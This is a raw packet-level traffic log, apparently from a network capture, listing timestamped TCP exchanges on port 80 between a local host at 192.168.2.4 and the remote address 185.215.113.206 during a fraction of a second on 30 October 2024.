Oct 30, 2024 20:13:30.193401098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.193407059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.193418026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.193429947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.193434000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.193443060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.193454027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.193454027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.193465948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.193480968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.193506002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.194227934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194238901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194250107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194262028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194272041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.194273949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194283009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.194284916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194297075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194310904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194317102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.194322109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194333076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194343090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.194344044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194355011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194358110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.194366932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194376945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.194386959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.194412947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.195100069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.195111990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.195122004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.195133924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.195146084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.195157051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.195158005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.195168018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.195173025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.195194960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.195204973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.313355923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313497066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313508034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313546896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.313575029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.313577890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313587904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313597918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313607931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313620090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.313647985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.313893080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313901901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313913107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313922882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313932896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.313934088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.313960075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.313985109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.314265013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314275980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314285994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314296007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314306974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314312935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.314316034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314327002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314340115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.314353943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.314376116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.314769030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314779043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314789057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314800024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314809084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314819098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.314819098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.314843893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.314856052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.315299034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315309048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315334082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.315342903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315351963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.315354109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315363884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315373898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315385103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315388918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.315393925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315402985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315409899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.315413952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315423965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315428972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.315433979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.315449953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.315474033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.316143036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316153049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316162109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316170931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316181898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316186905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.316191912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316201925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316205025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.316211939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316214085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.316222906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316232920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316241026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.316243887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316255093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.316267014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.316278934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.316301107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.317091942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317102909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317111969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317121029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317126036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.317130089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317141056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317143917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.317151070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317162037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317168951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.317173004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317183018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317188978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.317194939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317195892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.317205906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317215919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317224026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.317225933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317246914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.317266941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.317945957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317955017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317965984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317975044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317985058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.317991018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.317997932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.318003893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.318007946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.318017006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.318021059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.318049908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.318072081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.435895920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.435918093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.435930014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.435942888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.435973883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.436014891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436019897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.436028004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436062098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.436188936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436203003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436213017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436227083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.436254025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.436433077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436446905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436456919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436466932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436467886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.436477900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436487913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436491013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.436517954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.436893940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436903954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436913013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436923027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.436937094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.436948061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.436975002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.437266111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437279940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437289953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437299967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437309980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437318087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.437320948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437331915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437344074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437351942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437355042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.437367916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.437381983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.437956095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437966108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437975883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437989950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.437999964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.437999964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438009977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438018084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.438020945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438030958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438040972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.438040972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438050985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438061953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438066006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.438077927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.438103914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.438796043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438806057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438815117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438823938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438834906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438841105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.438846111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438852072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.438855886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438867092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438877106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438879967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.438888073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438899994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438905001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.438910007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.438921928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.438942909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.439781904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439793110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439801931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439812899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439822912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439825058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.439831972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439841986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439841986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.439851999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439862967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439866066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.439872980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439882040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439891100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.439892054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439901114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.439904928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.439913988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.439934969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.440519094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.440530062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.440557957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.558262110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558303118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558315039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.558315992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558343887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.558357000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.558409929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558422089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558455944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.558552980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558564901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558576107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558593988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558604002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.558604956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558619022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.558645964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.558976889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558988094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.558999062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559010983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559020996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559022903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.559039116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.559056997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.559299946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559317112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559343100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.559343100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559355974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559359074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.559366941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559386015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.559412003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.559820890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559838057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559849024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559859991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559861898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.559874058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559879065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.559885979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559899092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559904099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.559911013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559920073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.559921980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559933901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559945107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.559947014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.560312986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.560647011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.560657978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.560667992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.560679913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.560689926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.560692072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.560703039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.560708046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.560714960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.560726881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.560734034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.560760021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.561292887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561305046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561315060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561326981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561336040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.561337948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561350107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561355114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.561361074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561372042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561378956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.561383009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561393023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561403036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561405897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.561414003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.561424971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.561439991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.561464071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:30.562167883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:30.562200069 CET	80	49758	185.215.113.206	192.168.2.4
